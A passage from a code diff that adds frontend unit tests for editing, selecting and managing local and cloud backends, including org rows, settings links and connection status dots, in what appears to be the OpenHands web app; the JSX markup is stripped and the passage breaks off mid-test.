+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("edit-backend-name")).toHaveValue("My Server");
+ expect(screen.getByTestId("edit-backend-host")).toHaveValue(
+ "http://localhost:9000",
+ );
+ expect(screen.getByTestId("edit-backend-api-key")).toHaveValue("sk-old");
+ });
+
+ it("disables Save when name is cleared", async () => {
+ renderWithProviders(
+ ,
+ );
+
+ const submit = screen.getByTestId(
+ "edit-backend-submit",
+ ) as HTMLButtonElement;
+ expect(submit).not.toBeDisabled();
+
+ const user = userEvent.setup();
+ const nameInput = screen.getByTestId("edit-backend-name");
+ await user.clear(nameInput);
+
+ expect(submit).toBeDisabled();
+ });
+
+ it("calls updateBackend and onClose on successful submit", async () => {
+ let backendId = "";
+ const onClose = vi.fn();
+ renderWithProviders(
+ {
+ backendId = ctx.addBackend({
+ name: "Local Seed",
+ host: "http://localhost:9000",
+ apiKey: "sk-old",
+ kind: "local",
+ }).id;
+ }}
+ >
+
+ ,
+ );
+
+ await waitFor(() => {
+ expect(screen.getByTestId("edit-backend-name")).toHaveValue("Local Seed");
+ });
+
+ const user = userEvent.setup();
+
+ // Verify the submit button is enabled with pre-filled values
+ const submitBtn = screen.getByTestId("edit-backend-submit");
+ expect(submitBtn).not.toBeDisabled();
+
+ await user.click(submitBtn);
+
+ await waitFor(() => expect(onClose).toHaveBeenCalled());
+
+ const stored = JSON.parse(
+ window.localStorage.getItem("openhands-backends") ?? "[]",
+ );
+ const updated = stored.find((b: { id: string }) => b.id === backendId);
+ expect(updated).toMatchObject({
+ id: backendId,
+ name: "Local Seed",
+ host: "http://localhost:9000",
+ kind: "local",
+ });
+ });
+
+ it("shows connection error and keeps modal open when probe fails", async () => {
+ // Default: health check succeeds (otherwise the modal won't render cleanly).
+ // Override just before the submit action so the submit-time probe fails.
+ let backendId = "";
+ renderWithProviders(
+ {
+ backendId = ctx.addBackend({
+ name: "Offline Server",
+ host: "http://localhost:9999",
+ apiKey: "sk-key",
+ kind: "local",
+ }).id;
+ }}
+ >
+
+ ,
+ );
+
+ await waitFor(() => {
+ expect(screen.getByTestId("edit-backend-name")).toHaveValue(
+ "Offline Server",
+ );
+ });
+
+ const user = userEvent.setup();
+ const nameInput = screen.getByTestId("edit-backend-name");
+ await user.clear(nameInput);
+ await user.type(nameInput, "Retry Server");
+
+ // Now make the submit-time probe fail (health check already consumed the default mock).
+ getServerInfoMock.mockRejectedValueOnce(new Error("Connection refused"));
+
+ await user.click(screen.getByTestId("edit-backend-submit"));
+
+ expect(await screen.findByTestId("edit-backend-error")).toHaveTextContent(
+ "Connection refused",
+ );
+ });
+
+ it("preserves cloud kind when editing a cloud backend", async () => {
+ let backendId = "";
+ const onClose = vi.fn();
+ renderWithProviders(
+ {
+ backendId = ctx.addBackend({
+ name: "OpenHands Cloud",
+ host: "https://app.all-hands.dev",
+ apiKey: "sk-cloud",
+ kind: "cloud",
+ }).id;
+ }}
+ >
+
+ ,
+ );
+
+ await waitFor(() => {
+ expect(screen.getByTestId("edit-backend-name")).toHaveValue(
+ "OpenHands Cloud",
+ );
+ });
+
+ const user = userEvent.setup();
+ const nameInput = screen.getByTestId("edit-backend-name");
+ await user.clear(nameInput);
+ await user.type(nameInput, "Renamed Cloud");
+
+ const apiKeyInput = screen.getByTestId("edit-backend-api-key");
+ await user.clear(apiKeyInput);
+ await user.type(apiKeyInput, "new-token");
+
+ await user.click(screen.getByTestId("edit-backend-submit"));
+
+ await waitFor(() => expect(onClose).toHaveBeenCalled());
+
+ const stored = JSON.parse(
+ window.localStorage.getItem("openhands-backends") ?? "[]",
+ );
+ const updated = stored.find((b: { id: string }) => b.id === backendId);
+ expect(updated).toMatchObject({
+ id: backendId,
+ kind: "cloud",
+ });
+ });
+
+ it("locks add mode to Cloud login when VITE_LOCK_TO_CLOUD is set", () => {
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://cloud.example.com");
+
+ renderWithProviders( );
+
+ expect(screen.getByTestId("add-backend-cloud-title")).toBeVisible();
+ expect(screen.getByTestId("add-backend-login-button")).toBeVisible();
+ expect(screen.queryByTestId("add-backend-host")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("add-backend-api-key")).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("add-backend-advanced-toggle"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("add-backend-cloud-host"),
+ ).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/backends/backend-selector.test.tsx b/__tests__/components/backends/backend-selector.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b09794b794638220a385af2fa88c7003a2d2bdc6
--- /dev/null
+++ b/__tests__/components/backends/backend-selector.test.tsx
@@ -0,0 +1,935 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import {
+ fireEvent,
+ render,
+ screen,
+ waitFor,
+ within,
+} from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { createRoutesStub, MemoryRouter } from "react-router";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import {
+ ActiveBackendProvider,
+ useActiveBackendContext,
+} from "#/contexts/active-backend-context";
+import { BackendSelector } from "#/components/features/backends/backend-selector";
+import {
+ __resetEnvironmentSwitchOverlayForTests,
+ EnvironmentSwitchOverlay,
+} from "#/components/features/backends/environment-switch-overlay";
+import { ENVIRONMENT_SWITCH_SETACTIVE_DELAY_MS } from "#/components/features/backends/environment-switch-store";
+
+import {
+ ServerClient,
+ SettingsClient,
+} from "@openhands/typescript-client/clients";
+import {
+ getCloudOrganizations,
+ getCloudOrganizationMe,
+ getCurrentCloudApiKey,
+} from "#/api/cloud/organization-service.api";
+
+vi.mock("#/api/cloud/organization-service.api", () => ({
+ getCloudOrganizations: vi.fn(),
+ getCloudOrganizationMe: vi.fn(),
+ getCurrentCloudApiKey: vi.fn(),
+}));
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+ ServerClient: vi.fn(),
+ SettingsClient: vi.fn(),
+}));
+
+// Shared seed configs reused across tests.
+const SEED_LOCAL_1 = {
+ name: "Local 1",
+ host: "http://localhost:9000",
+ apiKey: "k",
+ kind: "local" as const,
+};
+
+const SEED_CLOUD_PRODUCTION = {
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-key",
+ kind: "cloud" as const,
+};
+
+function renderWithProviders(ui: React.ReactElement) {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+
+
+ {ui}
+
+ ,
+ );
+}
+
+function TestSeed({
+ onMount,
+ children,
+}: {
+ onMount: (ctx: ReturnType) => void;
+ children: React.ReactNode;
+}) {
+ const ctx = useActiveBackendContext();
+ React.useEffect(() => {
+ onMount(ctx);
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ }, []);
+ return children as React.ReactElement;
+}
+
+async function openDropdown() {
+ const user = userEvent.setup();
+ const wrapper = screen.getByTestId("backend-selector");
+ // BackendSelector renders Dropdown with `openOnHover` while the trigger is
+ // visible — clicking the toggle button would open via hover and then
+ // immediately close via the click handler. Hovering the wrapper alone is
+ // enough to surface the menu.
+ await user.hover(wrapper);
+ return user;
+}
+
+beforeEach(() => {
+ window.localStorage.clear();
+ vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000");
+ vi.stubEnv("VITE_SESSION_API_KEY", "session-key");
+ __resetActiveStoreForTests();
+ vi.mocked(getCloudOrganizations).mockReset();
+ vi.mocked(getCloudOrganizations).mockResolvedValue({
+ items: [],
+ currentOrgId: null,
+ });
+ vi.mocked(getCloudOrganizationMe).mockReset();
+ vi.mocked(getCloudOrganizationMe).mockResolvedValue({
+ orgId: "",
+ userId: "",
+ role: null,
+ });
+ // Default to the legacy-key fallback so existing assertions about
+ // multiple orgs being visible still hold. Tests that exercise
+ // org-filter behavior override this with an explicit orgId.
+ vi.mocked(getCurrentCloudApiKey).mockReset();
+ vi.mocked(getCurrentCloudApiKey).mockResolvedValue({
+ orgId: null,
+ isLegacyKey: true,
+ });
+ // Default the local-server health probe to "connected" so the
+ // existing label-focused tests aren't surprised by a red indicator;
+ // tests that assert on the disconnected state override this.
+ vi.mocked(ServerClient).mockReset();
+ vi.mocked(ServerClient).mockImplementation(function ServerClientMock() {
+ return {
+ getServerInfo: vi.fn().mockResolvedValue({ version: "1.28.0" }),
+ } as unknown as ServerClient;
+ });
+ vi.mocked(SettingsClient).mockReset();
+ vi.mocked(SettingsClient).mockImplementation(function SettingsClientMock() {
+ return {
+ getSettings: vi.fn().mockResolvedValue({}),
+ } as unknown as SettingsClient;
+ });
+});
+
+afterEach(async () => {
+ // When a test selects a dropdown option, BackendSelector's onChange
+ // calls `triggerEnvironmentSwitch` and then awaits a real-time
+ // `setTimeout(..., ENVIRONMENT_SWITCH_SETACTIVE_DELAY_MS)` before
+ // running `setActive`. `userEvent.click` does NOT await that async
+ // handler, so the trailing `setActive` can land AFTER the test ends,
+ // re-polluting `localStorage` during a later test. The body's
+ // `data-environment-switching` attribute is set while the switch is
+ // in flight; wait it out before clearing storage so the in-flight
+ // `setActive` writes BEFORE we wipe state.
+ if (document.body.hasAttribute("data-environment-switching")) {
+ await new Promise((resolve) => {
+ setTimeout(resolve, ENVIRONMENT_SWITCH_SETACTIVE_DELAY_MS + 20);
+ });
+ }
+ window.localStorage.clear();
+ vi.unstubAllEnvs();
+ __resetActiveStoreForTests();
+ __resetEnvironmentSwitchOverlayForTests();
+});
+
+describe("BackendSelector", () => {
+ it("shows the seeded default Local backend's name by default", () => {
+ renderWithProviders( );
+ const wrapper = screen.getByTestId("backend-selector");
+ const input = wrapper.querySelector("input") as HTMLInputElement;
+ expect(input.value).toBe("Local");
+ });
+
+ it("lists all registered backends in the dropdown", async () => {
+ renderWithProviders(
+ {
+ ctx.addBackend(SEED_LOCAL_1);
+ ctx.addBackend({
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "b",
+ kind: "cloud",
+ });
+ }}
+ >
+
+ ,
+ );
+
+ await openDropdown();
+
+ // The seeded default ("Local") is rendered as a normal row alongside
+ // the user-added backends.
+ expect(screen.getByText("Local")).toBeInTheDocument();
+ expect(screen.getByText("Local 1")).toBeInTheDocument();
+ expect(screen.getByText("Production")).toBeInTheDocument();
+ });
+
+ it("expands a cloud backend into one row per org and records the org locally without calling cloud /switch", async () => {
+ vi.mocked(getCloudOrganizations).mockResolvedValue({
+ items: [
+ { id: "org-personal", name: "Personal" },
+ { id: "org-2", name: "Acme Inc" },
+ ],
+ currentOrgId: "org-personal",
+ });
+
+ let cloudId = "";
+ renderWithProviders(
+ {
+ cloudId = ctx.addBackend(SEED_CLOUD_PRODUCTION).id;
+ // Add a second backend so auto-switch lands here, leaving the
+ // cloud backend unselected (the dropdown only expands org rows
+ // for non-active cloud backends).
+ ctx.addBackend(SEED_LOCAL_1);
+ }}
+ >
+
+ ,
+ );
+
+ const user = await openDropdown();
+
+ await waitFor(() => {
+ expect(screen.getByText("Production – Personal")).toBeInTheDocument();
+ });
+ expect(screen.getByText("Production – Acme Inc")).toBeInTheDocument();
+
+ await user.click(screen.getByText("Production – Acme Inc"));
+
+ // Selecting an org row updates the active selection locally only —
+ // it must never trigger the cloud-mutating /switch call that used to
+ // leak the local-UI choice into the cloud UI's `current_org_id`.
+ await waitFor(() => {
+ const stored = JSON.parse(
+ window.localStorage.getItem("openhands-active-backend") ?? "null",
+ );
+ expect(stored).toEqual({ backendId: cloudId, orgId: "org-2" });
+ });
+ });
+
+ it("filters each cloud backend's org rows to the org its API key is bound to", async () => {
+ // Both backends point at the same host; the user belongs to all three
+ // orgs, but each API key is scoped to a different one. The selector
+ // must show one row per backend, each labeled with its key's own org.
+ vi.mocked(getCloudOrganizations).mockResolvedValue({
+ items: [
+ { id: "org-personal", name: "Personal" },
+ { id: "org-acme", name: "Acme Inc" },
+ { id: "org-beta", name: "Beta Co" },
+ ],
+ currentOrgId: "org-personal",
+ });
+ vi.mocked(getCurrentCloudApiKey).mockImplementation(async (backend) => ({
+ orgId: backend?.apiKey === "key-personal" ? "org-personal" : "org-acme",
+ isLegacyKey: false,
+ }));
+
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "ProdPersonal",
+ host: "https://app.all-hands.dev",
+ apiKey: "key-personal",
+ kind: "cloud",
+ });
+ ctx.addBackend({
+ name: "ProdAcme",
+ host: "https://app.all-hands.dev",
+ apiKey: "key-acme",
+ kind: "cloud",
+ });
+ // Land on a local backend so both cloud backends are unselected
+ // and their org rows render in the dropdown.
+ ctx.addBackend(SEED_LOCAL_1);
+ }}
+ >
+
+ ,
+ );
+
+ await openDropdown();
+
+ await waitFor(() => {
+ expect(screen.getByText("ProdPersonal – Personal")).toBeInTheDocument();
+ });
+ expect(screen.getByText("ProdAcme – Acme Inc")).toBeInTheDocument();
+ // Inaccessible orgs must not appear under either backend.
+ expect(
+ screen.queryByText("ProdPersonal – Acme Inc"),
+ ).not.toBeInTheDocument();
+ expect(screen.queryByText("ProdAcme – Personal")).not.toBeInTheDocument();
+ expect(screen.queryByText(/Beta Co/)).not.toBeInTheDocument();
+ });
+
+ it("shows every organization as a separate row for cookie-auth cloud backends", async () => {
+ vi.mocked(getCloudOrganizations).mockResolvedValue({
+ items: [
+ { id: "org-personal", name: "Personal" },
+ { id: "org-acme", name: "Acme Inc" },
+ ],
+ currentOrgId: "org-acme",
+ });
+ vi.mocked(getCurrentCloudApiKey).mockResolvedValue({
+ orgId: "org-personal",
+ isLegacyKey: false,
+ });
+
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "OpenHands Cloud",
+ host: "https://app.all-hands.dev",
+ apiKey: "",
+ kind: "cloud",
+ authMode: "cookie",
+ });
+ }}
+ >
+
+ ,
+ );
+
+ await waitFor(() => {
+ const wrapper = screen.getByTestId("backend-selector");
+ const input = wrapper.querySelector("input") as HTMLInputElement;
+ expect(input.value).toBe("OpenHands Cloud – Acme Inc");
+ });
+
+ await openDropdown();
+
+ await waitFor(() => {
+ expect(
+ screen.getByText("OpenHands Cloud – Personal"),
+ ).toBeInTheDocument();
+ });
+ expect(screen.getByText("OpenHands Cloud – Acme Inc")).toBeInTheDocument();
+ expect(getCurrentCloudApiKey).not.toHaveBeenCalled();
+ });
+
+ it("labels an org as 'Personal Workspace' when /me reports user_id === org.id", async () => {
+ const personalOrgId = "0b93b5f2-5396-49f2-8d98-61f906184270";
+ vi.mocked(getCloudOrganizations).mockResolvedValue({
+ items: [
+ {
+ id: personalOrgId,
+ // The auto-generated personal-workspace org has an unfriendly
+ // backend-side name; the GUI must override it.
+ name: `user_${personalOrgId}_org`,
+ },
+ { id: "org-2", name: "Acme Inc" },
+ ],
+ currentOrgId: personalOrgId,
+ });
+ // /me for the personal org returns user_id === org_id; for the team
+ // org user_id !== org_id.
+ vi.mocked(getCloudOrganizationMe).mockImplementation(async (orgId) => ({
+ orgId,
+ userId: orgId === personalOrgId ? personalOrgId : "some-user",
+ role: null,
+ }));
+
+ renderWithProviders(
+ {
+ ctx.addBackend(SEED_CLOUD_PRODUCTION);
+ // Land on a local backend so the cloud backend is unselected
+ // and its org rows render in the dropdown.
+ ctx.addBackend(SEED_LOCAL_1);
+ }}
+ >
+
+ ,
+ );
+
+ await openDropdown();
+
+ await waitFor(() => {
+ expect(
+ screen.getByText("Production – BACKEND$PERSONAL_WORKSPACE"),
+ ).toBeInTheDocument();
+ });
+ expect(screen.getByText("Production – Acme Inc")).toBeInTheDocument();
+ // The auto-generated org name must NOT be rendered.
+ expect(
+ screen.queryByText(`Production – user_${personalOrgId}_org`),
+ ).not.toBeInTheDocument();
+ });
+
+ it("self-heals (cloud, null) → Cloud's current org before personal workspace", async () => {
+ const personalOrgId = "0b93b5f2-5396-49f2-8d98-61f906184270";
+ vi.mocked(getCloudOrganizations).mockResolvedValue({
+ items: [
+ { id: personalOrgId, name: "Auto-generated personal" },
+ { id: "org-2", name: "Acme Inc" },
+ ],
+ currentOrgId: "org-2",
+ });
+ vi.mocked(getCloudOrganizationMe).mockResolvedValue({
+ orgId: personalOrgId,
+ userId: personalOrgId,
+ role: null,
+ });
+
+ let cloudId = "";
+ renderWithProviders(
+ {
+ cloudId = ctx.addBackend(SEED_CLOUD_PRODUCTION).id;
+ // Simulate the post-refresh malformed state: active backend is
+ // the cloud one but no orgId is set yet.
+ ctx.setActive(cloudId, null);
+ }}
+ >
+
+ ,
+ );
+
+ // After orgs resolve, the selector snaps the active selection onto the
+ // Cloud API's current_org_id locally — without round-tripping /switch on
+ // the cloud backend (which would have mutated the cloud UI's current org
+ // as a side effect).
+ await waitFor(() => {
+ const stored = JSON.parse(
+ window.localStorage.getItem("openhands-active-backend") ?? "null",
+ );
+ expect(stored).toEqual({ backendId: cloudId, orgId: "org-2" });
+ });
+ });
+
+ it("switches the active backend when an option is selected", async () => {
+ renderWithProviders(
+ {
+ ctx.addBackend(SEED_LOCAL_1);
+ }}
+ >
+
+ ,
+ );
+
+ // Auto-switch lands on "Local 1"; click the seeded default to switch.
+ const user = await openDropdown();
+ await user.click(screen.getByText("Local"));
+
+ const wrapper = screen.getByTestId("backend-selector");
+ const input = wrapper.querySelector("input") as HTMLInputElement;
+ expect(input.value).toBe("Local");
+ });
+
+ // @spec BM-002 — Switching backends keeps the user on the same page
+ it.each([
+ {
+ name: "conversation detail → conversations list",
+ startPath: "/conversations/abc",
+ startRoute: "/conversations/:conversationId",
+ landingRoute: "/conversations",
+ expectRedirect: true,
+ },
+ {
+ name: "automation detail → automations list",
+ startPath: "/automations/abc-123",
+ startRoute: "/automations/:automationId",
+ landingRoute: "/automations",
+ expectRedirect: true,
+ },
+ {
+ name: "settings → stays on settings",
+ startPath: "/settings",
+ startRoute: "/settings",
+ landingRoute: "/conversations",
+ expectRedirect: false,
+ },
+ ])(
+ "$name",
+ async ({ startPath, startRoute, landingRoute, expectRedirect }) => {
+ function StartRoute() {
+ return (
+ {
+ ctx.addBackend(SEED_LOCAL_1);
+ }}
+ >
+
+
+
+ );
+ }
+ function LandingRoute() {
+ return
;
+ }
+ const RouterStub = createRoutesStub([
+ { path: startRoute, Component: StartRoute },
+ { path: landingRoute, Component: LandingRoute },
+ ]);
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ render(
+
+
+
+
+ ,
+ );
+
+ const user = await openDropdown();
+ await user.click(screen.getByText("Local"));
+
+ if (expectRedirect) {
+ expect(await screen.findByTestId("landing-route")).toBeInTheDocument();
+ } else {
+ await waitFor(() => {
+ expect(screen.getByTestId("start-route")).toBeInTheDocument();
+ });
+ expect(screen.queryByTestId("landing-route")).not.toBeInTheDocument();
+ }
+ },
+ );
+
+ it("keeps the environment-switch overlay visible even after the selector unmounts mid-switch", async () => {
+ // Arrange — selector and overlay are rendered in independent trees
+ // so the selector can be torn down without taking the overlay with
+ // it. This mirrors production: ContextMenuContainer's click-outside
+ // handler unmounts UserContextMenu (and BackendSelector) the moment
+ // the dropdown's portaled option list is clicked, so the trigger
+ // must not depend on BackendSelector staying mounted.
+ const selectorRender = renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "Acme Local",
+ host: "http://localhost:9000",
+ apiKey: "k",
+ kind: "local",
+ });
+ }}
+ >
+
+ ,
+ );
+ render( );
+
+ // Act — auto-switch lands on "Acme Local"; click the seeded default
+ // to trigger a switch, then immediately unmount the selector (the
+ // click itself would do this in production via the outside-click handler).
+ const user = await openDropdown();
+ await user.click(screen.getByText("Local"));
+ selectorRender.unmount();
+
+ // Assert — the overlay is still in the DOM with the chosen target
+ expect(screen.getByTestId("environment-switch-overlay")).toHaveAttribute(
+ "data-target",
+ "Local",
+ );
+ });
+
+ it("does not open backend modals on mouse down alone", async () => {
+ renderWithProviders( );
+
+ await openDropdown();
+
+ fireEvent.mouseDown(screen.getByTestId("add-backend-menu-item"));
+ expect(screen.queryByTestId("add-backend-modal")).not.toBeInTheDocument();
+
+ fireEvent.mouseDown(screen.getByTestId("manage-backends-menu-item"));
+ expect(
+ screen.queryByTestId("manage-backends-modal"),
+ ).not.toBeInTheDocument();
+ });
+
+ it.each([
+ {
+ itemTestId: "add-backend-menu-item",
+ modalTestId: "add-backend-modal",
+ },
+ {
+ itemTestId: "manage-backends-menu-item",
+ modalTestId: "manage-backends-modal",
+ },
+ ])(
+ "opens $modalTestId from touch without bubbling to surrounding menus",
+ async ({ itemTestId, modalTestId }) => {
+ const outsideTouchEnd = vi.fn();
+
+ renderWithProviders(
+
+
+
,
+ );
+
+ await openDropdown();
+ const action = screen.getByTestId(itemTestId);
+
+ fireEvent.touchStart(action);
+ fireEvent.touchEnd(action);
+
+ expect(outsideTouchEnd).not.toHaveBeenCalled();
+ expect(await screen.findByTestId(modalTestId)).toBeInTheDocument();
+ },
+ );
+
+ it("renders the backend footer actions and opens/closes the add modal", async () => {
+ renderWithProviders( );
+
+ const user = await openDropdown();
+ expect(screen.getByTestId("add-backend-menu-item")).toBeInTheDocument();
+ expect(screen.getByTestId("manage-backends-menu-item")).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("add-backend-menu-item"));
+ expect(await screen.findByTestId("add-backend-modal")).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("add-backend-close"));
+ await waitFor(() => {
+ expect(screen.queryByTestId("add-backend-modal")).not.toBeInTheDocument();
+ });
+ });
+
+ it("hides add-backend footer action when locked to Cloud", async () => {
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+
+ renderWithProviders( );
+
+ await openDropdown();
+ expect(
+ screen.queryByTestId("add-backend-menu-item"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByTestId("manage-backends-menu-item")).toHaveTextContent(
+ "BACKEND$RECONNECT_CLOUD",
+ );
+ });
+
+ it("hides the backend footer actions when the locked backend uses cookie auth", async () => {
+ // Arrange: an OHE-hosted Canvas — nothing to add, manage, or reconnect.
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+ vi.mocked(getCloudOrganizations).mockResolvedValue({
+ items: [{ id: "org-acme", name: "Acme Inc" }],
+ currentOrgId: "org-acme",
+ });
+
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "OpenHands Cloud",
+ host: "https://app.all-hands.dev",
+ apiKey: "",
+ kind: "cloud",
+ authMode: "cookie",
+ });
+ }}
+ >
+
+ ,
+ );
+ await waitFor(() => {
+ const wrapper = screen.getByTestId("backend-selector");
+ const input = wrapper.querySelector("input") as HTMLInputElement;
+ expect(input.value).toBe("OpenHands Cloud – Acme Inc");
+ });
+
+ // Act
+ await openDropdown();
+
+ // Assert: the org rows render, but no footer actions do.
+ await waitFor(() => {
+ expect(
+ screen.getByText("OpenHands Cloud – Acme Inc"),
+ ).toBeInTheDocument();
+ });
+ expect(
+ screen.queryByTestId("manage-backends-menu-item"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("add-backend-menu-item"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("includes the seeded default Local backend in the manage backends modal as a removable entry", async () => {
+ renderWithProviders( );
+
+ const user = await openDropdown();
+ await user.click(screen.getByTestId("manage-backends-menu-item"));
+
+ expect(
+ await screen.findByTestId("manage-backends-modal"),
+ ).toBeInTheDocument();
+ // The default backend is just a regular registered entry — same row
+ // shape and a remove button identical to any other backend.
+ expect(screen.getByTestId("manage-backends-row-Local")).toBeInTheDocument();
+ expect(
+ screen.getByTestId("manage-backends-remove-Local"),
+ ).toBeInTheDocument();
+ });
+
+ it("opens the manage backends modal and removes a backend", async () => {
+ renderWithProviders(
+ {
+ ctx.addBackend(SEED_LOCAL_1);
+ }}
+ >
+
+ ,
+ );
+
+ const user = await openDropdown();
+ await user.click(screen.getByTestId("manage-backends-menu-item"));
+
+ expect(
+ await screen.findByTestId("manage-backends-modal"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("manage-backends-row-Local 1"),
+ ).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("manage-backends-remove-Local 1"));
+ expect(await screen.findByTestId("confirmation-modal")).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("confirm-button"));
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("manage-backends-row-Local 1"),
+ ).not.toBeInTheDocument();
+ });
+ // The seeded default ("Local") survives removing only "Local 1".
+ const remaining = JSON.parse(
+ window.localStorage.getItem("openhands-backends") ?? "[]",
+ );
+ expect(remaining.map((b: { name: string }) => b.name)).toEqual(["Local"]);
+ });
+
+ // @spec BM-003 — Fallback on active backend removal
+ it("shows no backend when removing the only active backend from manage backends", async () => {
+ // Pre-seed the registry and active selection in localStorage so the
+ // initial render already reflects `Local 1` as active. Seeding via
+ // `TestSeed.onMount` instead would call `setActive` AFTER the first
+ // commit, causing the Dropdown's `key={activeValue-label}` to change
+ // and remount the dropdown — which races with the async health probe
+ // and intermittently drops the open-click state update.
+ const local1Id = "local-1-test-id";
+ window.localStorage.setItem(
+ "openhands-backends",
+ JSON.stringify([
+ {
+ id: local1Id,
+ name: "Local 1",
+ host: "http://localhost:9000",
+ apiKey: "k",
+ kind: "local",
+ },
+ ]),
+ );
+ window.localStorage.setItem(
+ "openhands-active-backend",
+ JSON.stringify({ backendId: local1Id, orgId: null }),
+ );
+ __resetActiveStoreForTests();
+
+ renderWithProviders( );
+
+ let wrapper = screen.getByTestId("backend-selector");
+ let input = wrapper.querySelector("input") as HTMLInputElement;
+ expect(input.value).toBe("Local 1");
+
+ const user = await openDropdown();
+ await user.click(screen.getByTestId("manage-backends-menu-item"));
+ await user.click(
+ await screen.findByTestId("manage-backends-remove-Local 1"),
+ );
+ await user.click(screen.getByTestId("confirm-button"));
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("manage-backends-row-Local 1"),
+ ).not.toBeInTheDocument();
+ });
+
+ // The active selection is cleared because its target was removed;
+ // no registered backend remains, so the selector shows the explicit
+ // unavailable state instead of synthesizing a backend.
+ const stored = JSON.parse(
+ window.localStorage.getItem("openhands-active-backend") ?? "null",
+ );
+ expect(stored).toBeNull();
+
+ wrapper = screen.getByTestId("backend-selector");
+ input = wrapper.querySelector("input") as HTMLInputElement;
+ expect(input.value).toBe("BACKEND$NO_BACKEND_AVAILABLE");
+ });
+
+ describe("settings link", () => {
+ it("renders the settings link as a NavigationLink for a local backend", async () => {
+ let localId = "";
+ renderWithProviders(
+ {
+ localId = ctx.addBackend(SEED_LOCAL_1).id;
+ ctx.setActive(localId, null);
+ }}
+ >
+
+ ,
+ );
+
+ const link = screen.getByTestId("backend-selector-settings-link");
+ expect(link).toHaveAttribute("href", "/settings");
+ expect(link).not.toHaveAttribute("target", "_blank");
+ });
+
+ it("renders the settings link as an external anchor for a cloud backend", async () => {
+ let cloudId = "";
+ renderWithProviders(
+ {
+ cloudId = ctx.addBackend(SEED_CLOUD_PRODUCTION).id;
+ ctx.setActive(cloudId, null);
+ }}
+ >
+
+ ,
+ );
+
+ const link = screen.getByTestId("backend-selector-settings-link");
+ expect(link).toHaveAttribute(
+ "href",
+ `${SEED_CLOUD_PRODUCTION.host}/settings`,
+ );
+ expect(link).toHaveAttribute("target", "_blank");
+ expect(link).toHaveAttribute("rel", "noopener noreferrer");
+ });
+
+ it("passes the active org to the cloud settings link", () => {
+ let cloudId = "";
+ renderWithProviders(
+ {
+ cloudId = ctx.addBackend(SEED_CLOUD_PRODUCTION).id;
+ ctx.setActive(cloudId, "org-2");
+ }}
+ >
+
+ ,
+ );
+
+ expect(
+ screen.getByTestId("backend-selector-settings-link"),
+ ).toHaveAttribute(
+ "href",
+ `${SEED_CLOUD_PRODUCTION.host}/settings?org=org-2`,
+ );
+ });
+
+ it("renders the cloud settings link as a same-tab anchor when locked to Cloud", async () => {
+ // Arrange: an OHE/SaaS-hosted canvas locked to the active cloud host
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", SEED_CLOUD_PRODUCTION.host);
+ let cloudId = "";
+
+ // Act
+ renderWithProviders(
+ {
+ cloudId = ctx.addBackend(SEED_CLOUD_PRODUCTION).id;
+ ctx.setActive(cloudId, null);
+ }}
+ >
+
+ ,
+ );
+
+ // Assert: same tab, so browser Back returns to the canvas
+ const link = screen.getByTestId("backend-selector-settings-link");
+ expect(link).toHaveAttribute(
+ "href",
+ `${SEED_CLOUD_PRODUCTION.host}/settings`,
+ );
+ expect(link).not.toHaveAttribute("target");
+ expect(link).not.toHaveAttribute("rel");
+ });
+ });
+
+ describe("connection indicator", () => {
+ it("renders one status dot per option, green when the probe succeeds", async () => {
+ vi.mocked(SettingsClient).mockImplementation(
+ function SettingsClientMock() {
+ return {
+ getSettings: vi.fn().mockResolvedValue({}),
+ } as unknown as SettingsClient;
+ },
+ );
+
+ renderWithProviders(
+ {
+ ctx.addBackend(SEED_LOCAL_1);
+ }}
+ >
+
+ ,
+ );
+
+ await openDropdown();
+
+ // One dot for the seeded default row + one for "Local 1".
+ const dots = await screen.findAllByTestId("backend-status-dot");
+ expect(dots.length).toBeGreaterThanOrEqual(2);
+
+ await waitFor(() => {
+ const connected = screen
+ .getAllByTestId("backend-status-dot")
+ .filter((el) => el.getAttribute("data-status") === "connected");
+ expect(connected.length).toBeGreaterThanOrEqual(2);
+ });
+ });
+
+ it("flips the status dot to red when the local probe fails", async () => {
+ vi.mocked(SettingsClient).mockImplementation(
+ function SettingsClientMock() {
+ return {
+ getSettings: vi.fn().mockRejectedValue(new Error("ECONNREFUSED")),
+ } as unknown as SettingsClient;
+ },
+ );
+
+ renderWithProviders( );
+
+ await waitFor(() => {
+ const wrapper = screen.getByTestId("backend-selector");
+ const dot = within(wrapper).getByTestId("backend-status-dot");
